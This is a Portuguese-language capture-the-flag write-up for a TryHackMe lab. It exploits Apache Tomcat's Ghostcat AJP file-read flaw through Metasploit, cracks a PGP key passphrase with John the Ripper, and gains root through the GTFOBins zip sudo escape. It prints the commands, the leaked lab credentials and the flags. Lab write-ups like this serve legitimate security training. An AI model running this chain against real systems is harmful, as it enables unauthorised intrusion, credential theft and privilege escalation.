-
Notifications
You must be signed in to change notification settings - Fork 0
/
rel.txt
99 lines (77 loc) · 5.39 KB
/
rel.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
ip = 10.10.88.147
rondando o nmap percebemos três portas abertas:
ssh - 22
Apache tomcat 9.0.30 - 8080
AJP - 8009
Nota-se que o AJP e o Tomcat estão rodando juntos, oque é padrão, mas pode abrir uma vulnerabilidade
Procurando com o searchsploit encontramos os seguintes exploits:
searcsploit AJP
>
----------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------- ---------------------------------
AjPortal2Php - 'PagePrefix' Remote File Inclusion | php/webapps/3752.txt
Apache Tomcat - AJP 'Ghostcat File Read/Inclusion | multiple/webapps/48143.py
Apache Tomcat - AJP 'Ghostcat' File Read/Inclusion (Metasploit) | multiple/webapps/49039.rb
----------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Temos então o ghostcat no metasploit e a versão do apache é uma versão 9.x, ou seja, ele é vulnerável, vamos logo para o metasploit(msfconsole)
É preciso então procurar a vulnerabilidade:
search AJP
>0 auxiliary/admin/http/tomcat_ghostcat 2020-02-20 normal Yes Apache Tomcat AJP File Read
1 exploit/linux/http/netgear_unauth_exec 2016-02-25 excellent Yes Netgear Devices Unauthenticated Remote Command Execution
Essas foram as duas vulnerabilidades encontradas no banco de dados, mas já temos a noção de qual queremos... Ghostcat
use 0
Setando as opções necessárias
set RHOST 10.10.88.147
E agora basta executar(run) e ao fazer isso ele nos retornar um arquivo de configuração e nele tem um usuário
>skyfuck:8730281lkjlkjdqlksalks
Testando no ssh conseguimos o acesso
ssh skyfuck@10.10.88.147
Na pasta em que nos encontramos temos dois arquivo um tryhackme.asc e credential.pgp
Tentando importar a chave gpg:
gpg --import tryhackme.asc
E abrir o arquivo:
gpg --decrypt credential.pgp
Acabamos tendo um erro que é necessário uma senha, vamos trazer para a nossa máquina a chave e reverter para saber qual a senha da criptografia
"host"
Trazendo o arquivo para minha máquina:
scp skyfuck@10.10.88.147:tryhackme.asc files/tryhackme.asc
Agora para revertermos ele e sabermos qual seru verdadeiro conteúdo:
gpg2john files/tryhackme.asc > files/hash
Ele nos retorna:
tryhackme:$gpg$*17*54*3072*713ee3f57cc950f8f89155679abe2476c62bbd286ded0e049f886d32d2b9eb06f482e9770c710abc2903f1ed70af6fcc22f5608760be*3*254*2*9*16*0c99d5dae8216f2155ba2abfcc71f818*65536*c8f277d2faf97480:::tryhackme <stuxnet@tryhackme.com>::files/tryhackme.asc
Salvei isso em outro arquivo e neste arquivo fiz o john the ripper realizar um brute force e descobrir a senha criptografa:
john --format=gpg --wordlist=/usr/share/wordlists/rockyou.txt hash
>alexandru
Agora que temos a senha vamos tentar denovo
gpg --decrypt credential.pgp
>merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
E agora temos nosso usuário e senha, vamos acessar e ver oque podemos achar
su merlin;
cd ~
cat user.txt
> THM{GhostCat_1s_so_cr4sy}
Achamos nossa primeira flag, vamos em busca da flag sudo
Precisamos verificar oque utiliza o sudo
sudo -l
>(root : root) NOPASSWD: /usr/bin/zip
O zip... Bem, temos um GTFOBins do zip, vamos testar:
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
E voilà, somos root agora, mas para um melhor teste podemos gerar um bash:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Agora retirar a chamada repetida do bash:
export TERM=xterm
Agora como root vamos até o diretório do root e capturamos a segunda flag
cat /root/root.txt
> THM{Z1P_1S_FAKE}
--------------------------------------------------------------------------------
GTFOBins - GTFOBins é uma lista selecionada de binários Unix que podem ser usados para contornar as restrições de segurança locais em sistemas mal configurados.
AJP - AJP (Apache Jserv Protocol) é basicamente um protocolo binário que permite reverter solicitações de proxy de um FE Web Server para um BE Application Server, propagando efetivamente todas as informações necessárias para que o fluxo Req-Res continue com sucesso. Freqüentemente, o AJP é usado para balancear a carga usando políticas de sticky-session: graças aos dados de cabeçalho transferidos, o FE Web Server pode balancear a carga sobre as contrapartes do BE fazendo uso de módulos específicos (como, mod_jk).
AJP é usado principalmente porque:
é mais eficiente do que qualquer troca HTTP,
é integrado com módulos de proxy reverso amplamente usados (ou seja, mod_jk, mod_proxy),
A implementação do Tomcat fornece um rico conjunto de APIs que são protocolos transversais: os dados HTTP(s) são propagados de forma contínua e podem ser recuperados com chamadas API simples (canonical getXYX(), muito eficaz e imediato), então é como trabalhar com HTTP em um velocidade mais alta.
Definitivamente, eu diria que é uma solução comprovada com quase 20 anos de maturidade: é usada com sucesso em ambientes de produção.
PGP - O PGP (abreviação de Pretty Good Privacy, ou Muito Boa Privacidade) é um programa de criptografia de chave pública e privada altamente seguro e utilizado para proteção de conteúdo enviado por correio eletrônico.